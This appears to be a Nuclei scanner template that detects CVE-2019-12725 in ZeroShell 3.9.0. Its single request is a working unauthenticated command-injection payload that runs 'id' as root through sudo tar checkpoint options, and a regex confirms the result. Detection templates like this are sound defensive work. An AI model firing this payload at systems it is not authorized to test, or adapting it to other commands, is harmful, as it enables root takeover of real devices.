id: CVE-2019-12725

info:
  name: Zeroshell 3.9.0 Remote Command Execution
  author: dwisiswant0
  severity: critical
  description: |
    This template exploits an unauthenticated command injection vulnerability
    found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.
    As sudo is configured to execute /bin/tar without a password (NOPASSWD)
    it is possible to run root commands using the "checkpoint" tar options.
  reference:
    - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
    - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
  tags: cve,cve2019,rce
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2019-12725
    cwe-id: CWE-78

requests:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22id%22%0A%27"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"